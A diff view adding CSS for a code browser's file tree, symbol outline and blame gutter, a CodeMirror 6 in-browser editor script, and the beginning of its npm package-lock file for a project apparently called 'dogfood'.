| 2389 | + | text-decoration: none; | |
| 2390 | + | border-bottom: 1px solid var(--border); | |
| 2391 | + | white-space: nowrap; | |
| 2392 | + | overflow: hidden; | |
| 2393 | + | text-overflow: ellipsis; | |
| 2394 | + | } | |
| 2395 | + | ||
| 2396 | + | .file-tree-item:last-child { | |
| 2397 | + | border-bottom: none; | |
| 2398 | + | } | |
| 2399 | + | ||
| 2400 | + | .file-tree-item:hover { | |
| 2401 | + | background: var(--surface-raised); | |
| 2402 | + | } | |
| 2403 | + | ||
| 2404 | + | .file-tree-item.is-current { | |
| 2405 | + | background: var(--surface-raised); | |
| 2406 | + | font-weight: 500; | |
| 2407 | + | border-left: 2px solid var(--action); | |
| 2408 | + | padding-left: 10px; | |
| 2409 | + | } | |
| 2410 | + | ||
| 2411 | + | .file-tree-item.is-dir { | |
| 2412 | + | color: var(--text-dim); | |
| 2413 | + | } | |
| 2414 | + | ||
| 2415 | + | .file-tree-parent { | |
| 2416 | + | color: var(--text-dim); | |
| 2417 | + | } | |
| 2418 | + | ||
| 2419 | + | /* ─── center code panel ─────────────────────────────────────────────────── */ | |
| 2420 | + | .code-panel { | |
| 2421 | + | min-width: 0; | |
| 2422 | + | overflow-x: auto; | |
| 2423 | + | } | |
| 2424 | + | ||
| 2425 | + | .code-panel .panel { | |
| 2426 | + | border: none; | |
| 2427 | + | border-radius: 0; | |
| 2428 | + | } | |
| 2429 | + | ||
| 2430 | + | /* ─── right sidebar (symbol outline) ────────────────────────────────────── */ | |
| 2431 | + | .code-sidebar-right { | |
| 2432 | + | background: var(--surface); | |
| 2433 | + | border-left: 1px solid var(--border); | |
| 2434 | + | max-height: 80vh; | |
| 2435 | + | overflow-y: auto; | |
| 2436 | + | padding: 0; | |
| 2437 | + | } | |
| 2438 | + | ||
| 2439 | + | .symbol-list { | |
| 2440 | + | display: flex; | |
| 2441 | + | flex-direction: column; | |
| 2442 | + | } | |
| 2443 | + | ||
| 2444 | + | .symbol-item { | |
| 2445 | + | display: flex; | |
| 2446 | + | align-items: center; | |
| 2447 | + | gap: 8px; | |
| 2448 | + | padding: 5px 12px; | |
| 2449 | + | font-size: var(--text-sm); | |
| 2450 | + | color: var(--text); | |
| 2451 | + | text-decoration: none; | |
| 2452 | + | border-bottom: 1px solid var(--border); | |
| 2453 | + | } | |
| 2454 | + | ||
| 2455 | + | .symbol-item:last-child { | |
| 2456 | + | border-bottom: none; | |
| 2457 | + | } | |
| 2458 | + | ||
| 2459 | + | .symbol-item:hover { | |
| 2460 | + | background: var(--surface-raised); | |
| 2461 | + | } | |
| 2462 | + | ||
| 2463 | + | .symbol-kind { | |
| 2464 | + | font-family: var(--font-mono); | |
| 2465 | + | font-size: 10px; | |
| 2466 | + | font-weight: 600; | |
| 2467 | + | text-transform: uppercase; | |
| 2468 | + | padding: 1px 5px; | |
| 2469 | + | border-radius: 3px; | |
| 2470 | + | flex-shrink: 0; | |
| 2471 | + | background: var(--border); | |
| 2472 | + | color: var(--text-dim); | |
| 2473 | + | } | |
| 2474 | + | ||
| 2475 | + | .sk-fn { color: var(--hl-function, #d9a441); background: rgb(217 164 65 / 0.12); } | |
| 2476 | + | .sk-type { color: var(--hl-type, #6ba9b8); background: rgb(107 169 184 / 0.12); } | |
| 2477 | + | .sk-enum { color: var(--hl-constant, #c77dba); background: rgb(199 125 186 / 0.12); } | |
| 2478 | + | .sk-trait { color: var(--hl-keyword, #db5a86); background: rgb(219 90 134 / 0.12); } | |
| 2479 | + | .sk-const { color: var(--hl-constant, #c77dba); background: rgb(199 125 186 / 0.12); } | |
| 2480 | + | .sk-mod { color: var(--text-dim); background: var(--border); } | |
| 2481 | + | ||
| 2482 | + | .symbol-name { | |
| 2483 | + | font-family: var(--font-mono); | |
| 2484 | + | font-size: var(--text-sm); | |
| 2485 | + | white-space: nowrap; | |
| 2486 | + | overflow: hidden; | |
| 2487 | + | text-overflow: ellipsis; | |
| 2488 | + | } | |
| 2489 | + | ||
| 2490 | + | /* ─── blame gutter ──────────────────────────────────────────────────────── */ | |
| 2491 | + | .blame-cell { | |
| 2492 | + | padding: 0 8px; | |
| 2493 | + | white-space: nowrap; | |
| 2494 | + | font-size: 11px; | |
| 2495 | + | color: var(--text-faint); | |
| 2496 | + | border-right: 1px solid var(--border); | |
| 2497 | + | max-width: 120px; | |
| 2498 | + | overflow: hidden; | |
| 2499 | + | text-overflow: ellipsis; | |
| 2500 | + | user-select: none; | |
| 2501 | + | } | |
| 2502 | + | ||
| 2503 | + | .blame-author { | |
| 2504 | + | font-family: var(--font-mono); | |
| 2505 | + | } | |
| 2506 | + | ||
| 2507 | + | /* Small blame toggle button */ | |
| 2508 | + | .btn-sm { | |
| 2509 | + | padding: 3px 10px; | |
| 2510 | + | font-size: var(--text-xs); | |
| 2511 | + | } | |
| 2512 | + | ||
| 2513 | + | /* ─── responsive: collapse sidebars on narrow screens ───────────────────── */ | |
| 2514 | + | @media (max-width: 900px) { | |
| 2515 | + | .code-view-layout { | |
| 2516 | + | grid-template-columns: 1fr; | |
| 2517 | + | } | |
| 2518 | + | ||
| 2519 | + | .code-view-layout:not(:has(.code-sidebar-right)) { | |
| 2520 | + | grid-template-columns: 1fr; | |
| 2521 | + | } | |
| 2522 | + | ||
| 2523 | + | .code-sidebar-left { | |
| 2524 | + | display: none; | |
| 2525 | + | } | |
| 2526 | + | ||
| 2527 | + | .code-sidebar-right { | |
| 2528 | + | display: none; | |
| 2529 | + | } | |
| 2530 | + | } | |
| 2531 | + | ||
| 2532 | + | @media (min-width: 901px) and (max-width: 1100px) { | |
| 2533 | + | .code-view-layout { | |
| 2534 | + | grid-template-columns: 180px 1fr; | |
| 2535 | + | } | |
| 2536 | + | ||
| 2537 | + | .code-sidebar-right { | |
| 2538 | + | display: none; | |
| 2539 | + | } | |
| 2540 | + | } | |
Acrates/df-web/assets/editor/editor.js+165−0
| @@ −0,0 +1,165 @@ | |||
| 1 | + | // In-browser file editing (CodeMirror 6). | |
| 2 | + | // | |
| 3 | + | // **Enhancement only.** The page ships a working `<textarea>` inside an | |
| 4 | + | // ordinary form. This script replaces it with an editor and copies the content | |
| 5 | + | // back on submit. If the bundle fails to load, is blocked, or throws, the | |
| 6 | + | // textarea is what remains and saving still works — which is the same | |
| 7 | + | // progressive-enhancement rule the rest of the product follows (spec §7). | |
| 8 | + | // | |
| 9 | + | // The bundle is served from our own origin and executed under a per-request | |
| 10 | + | // nonce, because the CSP has no `unsafe-inline` and no external hosts. | |
| 11 | + | ||
| 12 | + | import { EditorState, Compartment } from "@codemirror/state"; | |
| 13 | + | import { EditorView, keymap, highlightActiveLine, lineNumbers } from "@codemirror/view"; | |
| 14 | + | import { indentWithTab } from "@codemirror/commands"; | |
| 15 | + | import { basicSetup } from "codemirror"; | |
| 16 | + | import { StreamLanguage } from "@codemirror/language"; | |
| 17 | + | ||
| 18 | + | import { rust } from "@codemirror/lang-rust"; | |
| 19 | + | import { python } from "@codemirror/lang-python"; | |
| 20 | + | import { javascript } from "@codemirror/lang-javascript"; | |
| 21 | + | import { json } from "@codemirror/lang-json"; | |
| 22 | + | import { markdown } from "@codemirror/lang-markdown"; | |
| 23 | + | import { html } from "@codemirror/lang-html"; | |
| 24 | + | import { css } from "@codemirror/lang-css"; | |
| 25 | + | import { java } from "@codemirror/lang-java"; | |
| 26 | + | import { cpp } from "@codemirror/lang-cpp"; | |
| 27 | + | import { php } from "@codemirror/lang-php"; | |
| 28 | + | import { sql } from "@codemirror/lang-sql"; | |
| 29 | + | import { xml } from "@codemirror/lang-xml"; | |
| 30 | + | import { yaml } from "@codemirror/lang-yaml"; | |
| 31 | + | import { shell } from "@codemirror/legacy-modes/mode/shell"; | |
| 32 | + | import { toml } from "@codemirror/legacy-modes/mode/toml"; | |
| 33 | + | import { go } from "@codemirror/legacy-modes/mode/go"; | |
| 34 | + | import { ruby } from "@codemirror/legacy-modes/mode/ruby"; | |
| 35 | + | ||
| 36 | + | // Deliberately the same set the server-side highlighter covers, so a file that | |
| 37 | + | // is coloured when you read it is coloured when you edit it. Keys match the | |
| 38 | + | // grammar names df-render uses. | |
| 39 | + | const LANGUAGES = { | |
| 40 | + | rust: () => rust(), | |
| 41 | + | python: () => python(), | |
| 42 | + | javascript: () => javascript(), | |
| 43 | + | typescript: () => javascript({ typescript: true }), | |
| 44 | + | tsx: () => javascript({ typescript: true, jsx: true }), | |
| 45 | + | json: () => json(), | |
| 46 | + | markdown: () => markdown(), | |
| 47 | + | html: () => html(), | |
| 48 | + | css: () => css(), | |
| 49 | + | java: () => java(), | |
| 50 | + | c: () => cpp(), | |
| 51 | + | cpp: () => cpp(), | |
| 52 | + | php: () => php(), | |
| 53 | + | sql: () => sql(), | |
| 54 | + | xml: () => xml(), | |
| 55 | + | yaml: () => yaml(), | |
| 56 | + | bash: () => StreamLanguage.define(shell), | |
| 57 | + | toml: () => StreamLanguage.define(toml), | |
| 58 | + | go: () => StreamLanguage.define(go), | |
| 59 | + | ruby: () => StreamLanguage.define(ruby), | |
| 60 | + | }; | |
| 61 | + | ||
| 62 | + | // The editor takes its colours from the page's CSS custom properties rather | |
| 63 | + | // than shipping a theme of its own. That way it matches whichever theme the | |
| 64 | + | // reader is in, including one added later, with no toggle to keep in sync. | |
| 65 | + | const theme = EditorView.theme({ | |
| 66 | + | "&": { | |
| 67 | + | color: "var(--text)", | |
| 68 | + | backgroundColor: "var(--bg)", | |
| 69 | + | border: "1px solid var(--border)", | |
| 70 | + | borderRadius: "var(--radius)", | |
| 71 | + | fontSize: "13px", | |
| 72 | + | }, | |
| 73 | + | ".cm-content": { | |
| 74 | + | fontFamily: "var(--font-mono)", | |
| 75 | + | caretColor: "var(--identity)", | |
| 76 | + | }, | |
| 77 | + | ".cm-cursor, .cm-dropCursor": { borderLeftColor: "var(--identity)" }, | |
| 78 | + | "&.cm-focused": { outline: "2px solid var(--action)", outlineOffset: "-1px" }, | |
| 79 | + | "&.cm-focused .cm-selectionBackground, .cm-selectionBackground, ::selection": { | |
| 80 | + | backgroundColor: "color-mix(in srgb, var(--action) 30%, transparent)", | |
| 81 | + | }, | |
| 82 | + | ".cm-gutters": { | |
| 83 | + | backgroundColor: "var(--surface)", | |
| 84 | + | color: "var(--text-faint)", | |
| 85 | + | borderRight: "1px solid var(--border)", | |
| 86 | + | }, | |
| 87 | + | ".cm-activeLine": { | |
| 88 | + | backgroundColor: "color-mix(in srgb, var(--identity) 8%, transparent)", | |
| 89 | + | }, | |
| 90 | + | ".cm-activeLineGutter": { backgroundColor: "transparent", color: "var(--text-dim)" }, | |
| 91 | + | ".cm-scroller": { overflow: "auto", maxHeight: "70vh" }, | |
| 92 | + | }); | |
| 93 | + | ||
| 94 | + | function enhance(form) { | |
| 95 | + | const textarea = form.querySelector("textarea[data-editor]"); | |
| 96 | + | if (!textarea) return; | |
| 97 | + | ||
| 98 | + | const language = textarea.dataset.language || ""; | |
| 99 | + | const factory = LANGUAGES[language]; | |
| 100 | + | ||
| 101 | + | const extensions = [ | |
| 102 | + | basicSetup, | |
| 103 | + | theme, | |
| 104 | + | // Tab indents rather than moving focus. Bound explicitly because taking | |
| 105 | + | // Tab away from keyboard navigation is only acceptable when it is doing | |
| 106 | + | // something — Escape then Tab still leaves the editor. | |
| 107 | + | keymap.of([indentWithTab]), | |
| 108 | + | EditorView.lineWrapping, | |
| 109 | + | ]; | |
| 110 | + | if (factory) { | |
| 111 | + | try { | |
| 112 | + | extensions.push(factory()); | |
| 113 | + | } catch (e) { | |
| 114 | + | // A grammar that fails to construct must not cost the user their editor. | |
| 115 | + | console.warn("dogfood: language mode failed to load", language, e); | |
| 116 | + | } | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | const view = new EditorView({ | |
| 120 | + | state: EditorState.create({ doc: textarea.value, extensions }), | |
| 121 | + | parent: textarea.parentElement, | |
| 122 | + | }); | |
| 123 | + | ||
| 124 | + | // The textarea remains the thing that is submitted; it is hidden rather than | |
| 125 | + | // removed so the form keeps working exactly as it did. | |
| 126 | + | textarea.style.display = "none"; | |
| 127 | + | textarea.setAttribute("aria-hidden", "true"); | |
| 128 | + | textarea.tabIndex = -1; | |
| 129 | + | ||
| 130 | + | // CodeMirror's editable area is not a labelled control, so name it from the | |
| 131 | + | // same label the textarea used. | |
| 132 | + | const content = view.contentDOM; | |
| 133 | + | content.setAttribute("role", "textbox"); | |
| 134 | + | content.setAttribute("aria-multiline", "true"); | |
| 135 | + | const label = form.querySelector(`label[for="${textarea.id}"]`); | |
| 136 | + | if (label) content.setAttribute("aria-label", label.textContent.trim()); | |
| 137 | + | ||
| 138 | + | form.addEventListener("submit", () => { | |
| 139 | + | textarea.value = view.state.doc.toString(); | |
| 140 | + | }); | |
| 141 | + | ||
| 142 | + | // Warn before navigating away from unsaved work. Registered only once the | |
| 143 | + | // editor is actually up, so the no-JavaScript path never gets a stray prompt. | |
| 144 | + | const initial = textarea.value; | |
| 145 | + | let saving = false; | |
| 146 | + | form.addEventListener("submit", () => { | |
| 147 | + | saving = true; | |
| 148 | + | }); | |
| 149 | + | window.addEventListener("beforeunload", (e) => { | |
| 150 | + | if (saving) return; | |
| 151 | + | if (view.state.doc.toString() !== initial) { | |
| 152 | + | e.preventDefault(); | |
| 153 | + | e.returnValue = ""; | |
| 154 | + | } | |
| 155 | + | }); | |
| 156 | + | } | |
| 157 | + | ||
| 158 | + | for (const form of document.querySelectorAll("form[data-editor-form]")) { | |
| 159 | + | try { | |
| 160 | + | enhance(form); | |
| 161 | + | } catch (e) { | |
| 162 | + | // Leaves the plain textarea in place, which is a working editor. | |
| 163 | + | console.error("dogfood: could not start the editor", e); | |
| 164 | + | } | |
| 165 | + | } | |
Acrates/df-web/assets/editor/package-lock.json952 lines+952−0
| @@ −0,0 +1,952 @@ | |||
| 1 | + | { | |
| 2 | + | "name": "dogfood-editor", | |
| 3 | + | "lockfileVersion": 3, | |
| 4 | + | "requires": true, | |
| 5 | + | "packages": { | |
| 6 | + | "": { | |
| 7 | + | "name": "dogfood-editor", | |
| 8 | + | "dependencies": { | |
| 9 | + | "@codemirror/lang-cpp": "^6.0.2", | |
| 10 | + | "@codemirror/lang-css": "^6.3.1", | |
| 11 | + | "@codemirror/lang-html": "^6.4.9", | |
| 12 | + | "@codemirror/lang-java": "^6.0.1", | |
| 13 | + | "@codemirror/lang-javascript": "^6.2.2", | |
| 14 | + | "@codemirror/lang-json": "^6.0.1", | |
| 15 | + | "@codemirror/lang-markdown": "^6.3.1", | |
| 16 | + | "@codemirror/lang-php": "^6.0.1", | |
| 17 | + | "@codemirror/lang-python": "^6.1.6", | |
| 18 | + | "@codemirror/lang-rust": "^6.0.1", | |
| 19 | + | "@codemirror/lang-sql": "^6.8.0", | |
| 20 | + | "@codemirror/lang-xml": "^6.1.0", | |
| 21 | + | "@codemirror/lang-yaml": "^6.1.2", | |
| 22 | + | "@codemirror/language": "^6.10.8", | |
| 23 | + | "@codemirror/legacy-modes": "^6.4.2", | |
| 24 | + | "@codemirror/state": "^6.5.0", | |
| 25 | + | "@codemirror/view": "^6.36.1", | |
| 26 | + | "codemirror": "^6.0.1" | |
| 27 | + | }, | |
| 28 | + | "devDependencies": { | |
| 29 | + | "esbuild": "^0.24.2" | |
| 30 | + | } | |
| 31 | + | }, | |
| 32 | + | "node_modules/@codemirror/autocomplete": { | |
| 33 | + | "version": "6.20.3", | |
| 34 | + | "resolved": "https://registry.npmjs.org/@codemirror/autocomplete/-/autocomplete-6.20.3.tgz", | |
| 35 | + | "integrity": "sha512-tlosUqb+3BbxCxZdu4tKeRghPFC+QM7q4X5YhKV2eCmPG+1r2F3f4AaSz5sCrFqUtX4Jh20VFTKecl16MgiV9g==", | |
| 36 | + | "license": "MIT", | |
| 37 | + | "dependencies": { | |
| 38 | + | "@codemirror/language": "^6.0.0", | |
| 39 | + | "@codemirror/state": "^6.0.0", | |
| 40 | + | "@codemirror/view": "^6.17.0", | |
| 41 | + | "@lezer/common": "^1.0.0" | |
| 42 | + | } | |
| 43 | + | }, | |
| 44 | + | "node_modules/@codemirror/commands": { | |
| 45 | + | "version": "6.10.4", | |
| 46 | + | "resolved": "https://registry.npmjs.org/@codemirror/commands/-/commands-6.10.4.tgz", | |
| 47 | + | "integrity": "sha512-Ryk9y9T0FFVF0cUGhAknveAyUOl/A1qReTFi+qPKtOh2Z9F4AUBz3XOrYD4ZEgZirdugVzHvd/2/Wcwy5OliTg==", | |
| 48 | + | "license": "MIT", | |
| 49 | + | "dependencies": { | |
| 50 | + | "@codemirror/language": "^6.0.0", | |
| 51 | + | "@codemirror/state": "^6.7.0", | |
| 52 | + | "@codemirror/view": "^6.27.0", | |
| 53 | + | "@lezer/common": "^1.1.0" | |
| 54 | + | } | |
| 55 | + | }, | |
| 56 | + | "node_modules/@codemirror/lang-cpp": { | |
| 57 | + | "version": "6.0.3", | |
| 58 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-cpp/-/lang-cpp-6.0.3.tgz", | |
| 59 | + | "integrity": "sha512-URM26M3vunFFn9/sm6rzqrBzDgfWuDixp85uTY49wKudToc2jTHUrKIGGKs+QWND+YLofNNZpxcNGRynFJfvgA==", | |
| 60 | + | "license": "MIT", | |
| 61 | + | "dependencies": { | |
| 62 | + | "@codemirror/language": "^6.0.0", | |
| 63 | + | "@lezer/cpp": "^1.0.0" | |
| 64 | + | } | |
| 65 | + | }, | |
| 66 | + | "node_modules/@codemirror/lang-css": { | |
| 67 | + | "version": "6.3.1", | |
| 68 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-css/-/lang-css-6.3.1.tgz", | |
| 69 | + | "integrity": "sha512-kr5fwBGiGtmz6l0LSJIbno9QrifNMUusivHbnA1H6Dmqy4HZFte3UAICix1VuKo0lMPKQr2rqB+0BkKi/S3Ejg==", | |
| 70 | + | "license": "MIT", | |
| 71 | + | "dependencies": { | |
| 72 | + | "@codemirror/autocomplete": "^6.0.0", | |
| 73 | + | "@codemirror/language": "^6.0.0", | |
| 74 | + | "@codemirror/state": "^6.0.0", | |
| 75 | + | "@lezer/common": "^1.0.2", | |
| 76 | + | "@lezer/css": "^1.1.7" | |
| 77 | + | } | |
| 78 | + | }, | |
| 79 | + | "node_modules/@codemirror/lang-html": { | |
| 80 | + | "version": "6.4.11", | |
| 81 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-html/-/lang-html-6.4.11.tgz", | |
| 82 | + | "integrity": "sha512-9NsXp7Nwp891pQchI7gPdTwBuSuT3K65NGTHWHNJ55HjYcHLllr0rbIZNdOzas9ztc1EUVBlHou85FFZS4BNnw==", | |
| 83 | + | "license": "MIT", | |
| 84 | + | "dependencies": { | |
| 85 | + | "@codemirror/autocomplete": "^6.0.0", | |
| 86 | + | "@codemirror/lang-css": "^6.0.0", | |
| 87 | + | "@codemirror/lang-javascript": "^6.0.0", | |
| 88 | + | "@codemirror/language": "^6.4.0", | |
| 89 | + | "@codemirror/state": "^6.0.0", | |
| 90 | + | "@codemirror/view": "^6.17.0", | |
| 91 | + | "@lezer/common": "^1.0.0", | |
| 92 | + | "@lezer/css": "^1.1.0", | |
| 93 | + | "@lezer/html": "^1.3.12" | |
| 94 | + | } | |
| 95 | + | }, | |
| 96 | + | "node_modules/@codemirror/lang-java": { | |
| 97 | + | "version": "6.0.2", | |
| 98 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-java/-/lang-java-6.0.2.tgz", | |
| 99 | + | "integrity": "sha512-m5Nt1mQ/cznJY7tMfQTJchmrjdjQ71IDs+55d1GAa8DGaB8JXWsVCkVT284C3RTASaY43YknrK2X3hPO/J3MOQ==", | |
| 100 | + | "license": "MIT", | |
| 101 | + | "dependencies": { | |
| 102 | + | "@codemirror/language": "^6.0.0", | |
| 103 | + | "@lezer/java": "^1.0.0" | |
| 104 | + | } | |
| 105 | + | }, | |
| 106 | + | "node_modules/@codemirror/lang-javascript": { | |
| 107 | + | "version": "6.2.5", | |
| 108 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-javascript/-/lang-javascript-6.2.5.tgz", | |
| 109 | + | "integrity": "sha512-zD4e5mS+50htS7F+TYjBPsiIFGanfVqg4HyUz6WNFikgOPf2BgKlx+TQedI1w6n/IqRBVBbBWmGFdLB/7uxO4A==", | |
| 110 | + | "license": "MIT", | |
| 111 | + | "dependencies": { | |
| 112 | + | "@codemirror/autocomplete": "^6.0.0", | |
| 113 | + | "@codemirror/language": "^6.6.0", | |
| 114 | + | "@codemirror/lint": "^6.0.0", | |
| 115 | + | "@codemirror/state": "^6.0.0", | |
| 116 | + | "@codemirror/view": "^6.17.0", | |
| 117 | + | "@lezer/common": "^1.0.0", | |
| 118 | + | "@lezer/javascript": "^1.0.0" | |
| 119 | + | } | |
| 120 | + | }, | |
| 121 | + | "node_modules/@codemirror/lang-json": { | |
| 122 | + | "version": "6.0.2", | |
| 123 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-json/-/lang-json-6.0.2.tgz", | |
| 124 | + | "integrity": "sha512-x2OtO+AvwEHrEwR0FyyPtfDUiloG3rnVTSZV1W8UteaLL8/MajQd8DpvUb2YVzC+/T18aSDv0H9mu+xw0EStoQ==", | |
| 125 | + | "license": "MIT", | |
| 126 | + | "dependencies": { | |
| 127 | + | "@codemirror/language": "^6.0.0", | |
| 128 | + | "@lezer/json": "^1.0.0" | |
| 129 | + | } | |
| 130 | + | }, | |
| 131 | + | "node_modules/@codemirror/lang-markdown": { | |
| 132 | + | "version": "6.5.1", | |
| 133 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-markdown/-/lang-markdown-6.5.1.tgz", | |
| 134 | + | "integrity": "sha512-6re5avCNfyRMIoi3XNjbEfQM1vTeVD3JS3g/Fyegyso/eoANFM71Cyvbb66LDyYtQLMEcRFlzioywCqDo9SlLA==", | |
| 135 | + | "license": "MIT", | |
| 136 | + | "dependencies": { | |
| 137 | + | "@codemirror/autocomplete": "^6.7.1", | |
| 138 | + | "@codemirror/lang-html": "^6.0.0", | |
| 139 | + | "@codemirror/language": "^6.3.0", | |
| 140 | + | "@codemirror/state": "^6.0.0", | |
| 141 | + | "@codemirror/view": "^6.0.0", | |
| 142 | + | "@lezer/common": "^1.2.1", | |
| 143 | + | "@lezer/markdown": "^1.0.0" | |
| 144 | + | } | |
| 145 | + | }, | |
| 146 | + | "node_modules/@codemirror/lang-php": { | |
| 147 | + | "version": "6.0.2", | |
| 148 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-php/-/lang-php-6.0.2.tgz", | |
| 149 | + | "integrity": "sha512-ZKy2v1n8Fc8oEXj0Th0PUMXzQJ0AIR6TaZU+PbDHExFwdu+guzOA4jmCHS1Nz4vbFezwD7LyBdDnddSJeScMCA==", | |
| 150 | + | "license": "MIT", | |
| 151 | + | "dependencies": { | |
| 152 | + | "@codemirror/lang-html": "^6.0.0", | |
| 153 | + | "@codemirror/language": "^6.0.0", | |
| 154 | + | "@codemirror/state": "^6.0.0", | |
| 155 | + | "@lezer/common": "^1.0.0", | |
| 156 | + | "@lezer/php": "^1.0.0" | |
| 157 | + | } | |
| 158 | + | }, | |
| 159 | + | "node_modules/@codemirror/lang-python": { | |
| 160 | + | "version": "6.2.1", | |
| 161 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-python/-/lang-python-6.2.1.tgz", | |
| 162 | + | "integrity": "sha512-IRjC8RUBhn9mGR9ywecNhB51yePWCGgvHfY1lWN/Mrp3cKuHr0isDKia+9HnvhiWNnMpbGhWrkhuWOc09exRyw==", | |
| 163 | + | "license": "MIT", | |
| 164 | + | "dependencies": { | |
| 165 | + | "@codemirror/autocomplete": "^6.3.2", | |
| 166 | + | "@codemirror/language": "^6.8.0", | |
| 167 | + | "@codemirror/state": "^6.0.0", | |
| 168 | + | "@lezer/common": "^1.2.1", | |
| 169 | + | "@lezer/python": "^1.1.4" | |
| 170 | + | } | |
| 171 | + | }, | |
| 172 | + | "node_modules/@codemirror/lang-rust": { | |
| 173 | + | "version": "6.0.2", | |
| 174 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-rust/-/lang-rust-6.0.2.tgz", | |
| 175 | + | "integrity": "sha512-EZaGjCUegtiU7kSMvOfEZpaCReowEf3yNidYu7+vfuGTm9ow4mthAparY5hisJqOHmJowVH3Upu+eJlUji6qqA==", | |
| 176 | + | "license": "MIT", | |
| 177 | + | "dependencies": { | |
| 178 | + | "@codemirror/language": "^6.0.0", | |
| 179 | + | "@lezer/rust": "^1.0.0" | |
| 180 | + | } | |
| 181 | + | }, | |
| 182 | + | "node_modules/@codemirror/lang-sql": { | |
| 183 | + | "version": "6.10.0", | |
| 184 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-sql/-/lang-sql-6.10.0.tgz", | |
| 185 | + | "integrity": "sha512-6ayPkEd/yRw0XKBx5uAiToSgGECo/GY2NoJIHXIIQh1EVwLuKoU8BP/qK0qH5NLXAbtJRLuT73hx7P9X34iO4w==", | |
| 186 | + | "license": "MIT", | |
| 187 | + | "dependencies": { | |
| 188 | + | "@codemirror/autocomplete": "^6.0.0", | |
| 189 | + | "@codemirror/language": "^6.0.0", | |
| 190 | + | "@codemirror/state": "^6.0.0", | |
| 191 | + | "@lezer/common": "^1.2.0", | |
| 192 | + | "@lezer/highlight": "^1.0.0", | |
| 193 | + | "@lezer/lr": "^1.0.0" | |
| 194 | + | } | |
| 195 | + | }, | |
| 196 | + | "node_modules/@codemirror/lang-xml": { | |
| 197 | + | "version": "6.1.0", | |
| 198 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-xml/-/lang-xml-6.1.0.tgz", | |
| 199 | + | "integrity": "sha512-3z0blhicHLfwi2UgkZYRPioSgVTo9PV5GP5ducFH6FaHy0IAJRg+ixj5gTR1gnT/glAIC8xv4w2VL1LoZfs+Jg==", | |
| 200 | + | "license": "MIT", | |
| 201 | + | "dependencies": { | |
| 202 | + | "@codemirror/autocomplete": "^6.0.0", | |
| 203 | + | "@codemirror/language": "^6.4.0", | |
| 204 | + | "@codemirror/state": "^6.0.0", | |
| 205 | + | "@codemirror/view": "^6.0.0", | |
| 206 | + | "@lezer/common": "^1.0.0", | |
| 207 | + | "@lezer/xml": "^1.0.0" | |
| 208 | + | } | |
| 209 | + | }, | |
| 210 | + | "node_modules/@codemirror/lang-yaml": { | |
| 211 | + | "version": "6.1.3", | |
| 212 | + | "resolved": "https://registry.npmjs.org/@codemirror/lang-yaml/-/lang-yaml-6.1.3.tgz", | |
| 213 | + | "integrity": "sha512-AZ8DJBuXGVHybpBQhmZtgew5//4hv3tdkXnr3vDmOUMJRuB6vn/uuwtmTOTlqEaQFg3hQSVeA90NmvIQyUV6FQ==", | |
| 214 | + | "license": "MIT", | |
| 215 | + | "dependencies": { | |
| 216 | + | "@codemirror/autocomplete": "^6.0.0", | |
| 217 | + | "@codemirror/language": "^6.0.0", | |
| 218 | + | "@codemirror/state": "^6.0.0", | |
| 219 | + | "@lezer/common": "^1.2.0", | |
| 220 | + | "@lezer/highlight": "^1.2.0", | |
| 221 | + | "@lezer/lr": "^1.0.0", | |
| 222 | + | "@lezer/yaml": "^1.0.0" | |
| 223 | + | } | |
| 224 | + | }, | |
| 225 | + | "node_modules/@codemirror/language": { | |
| 226 | + | "version": "6.12.4", | |
| 227 | + | "resolved": "https://registry.npmjs.org/@codemirror/language/-/language-6.12.4.tgz", | |
| 228 | + | "integrity": "sha512-1q4PaT+o6PbgpkJt4Q8Fv5XJxTy4FUZ4MWETtyiDw3J0Pyr9E2vqcKL+k9wcvjNTIsauxvE7OfmWj3FRPHQ76A==", | |
| 229 | + | "license": "MIT", | |
| 230 | + | "dependencies": { | |
| 231 | + | "@codemirror/state": "^6.0.0", | |
| 232 | + | "@codemirror/view": "^6.23.0", | |
| 233 | + | "@lezer/common": "^1.5.0", | |
| 234 | + | "@lezer/highlight": "^1.0.0", | |
| 235 | + | "@lezer/lr": "^1.0.0", | |
| 236 | + | "style-mod": "^4.0.0" | |
| 237 | + | } | |
| 238 | + | }, | |
| 239 | + | "node_modules/@codemirror/legacy-modes": { | |
| 240 | + | "version": "6.5.3", | |
| 241 | + | "resolved": "https://registry.npmjs.org/@codemirror/legacy-modes/-/legacy-modes-6.5.3.tgz", | |
| 242 | + | "integrity": "sha512-xCsmIzH78MyWkib9jlPaaun57XNkfbMIhagfaZVd0iLTqlpw3jXaIcbZm72MTmmn64eTZpBVNjbyYh+QXnxRsg==", | |
| 243 | + | "license": "MIT", | |
| 244 | + | "dependencies": { | |
| 245 | + | "@codemirror/language": "^6.0.0" | |
| 246 | + | } | |
| 247 | + | }, | |
| 248 | + | "node_modules/@codemirror/lint": { | |
| 249 | + | "version": "6.9.7", | |
| 250 | + | "resolved": "https://registry.npmjs.org/@codemirror/lint/-/lint-6.9.7.tgz", | |
| 251 | + | "integrity": "sha512-28/+iWLYxKxsvGYhSYL7zaCZqLz5+FFFDq9tVsvGv9kv8RY4fFAchJ5WX9M3YrrRlTIsECjsXPqeNgnSmNP2dg==", | |
| 252 | + | "license": "MIT", | |
| 253 | + | "dependencies": { | |
| 254 | + | "@codemirror/state": "^6.0.0", | |
| 255 | + | "@codemirror/view": "^6.42.0", | |
| 256 | + | "crelt": "^1.0.5" | |
| 257 | + | } | |
| 258 | + | }, | |
| 259 | + | "node_modules/@codemirror/search": { | |
| 260 | + | "version": "6.7.1", | |
| 261 | + | "resolved": "https://registry.npmjs.org/@codemirror/search/-/search-6.7.1.tgz", | |
| 262 | + | "integrity": "sha512-uMe5UO6PamJtSHrXhhHOzSX3ReWtiJrva6GnPMwSOrZtiExb5X5eExhr2OUZQVvdxPsKpY3Ro2mFbQadpPWmHA==", | |
| 263 | + | "license": "MIT", | |
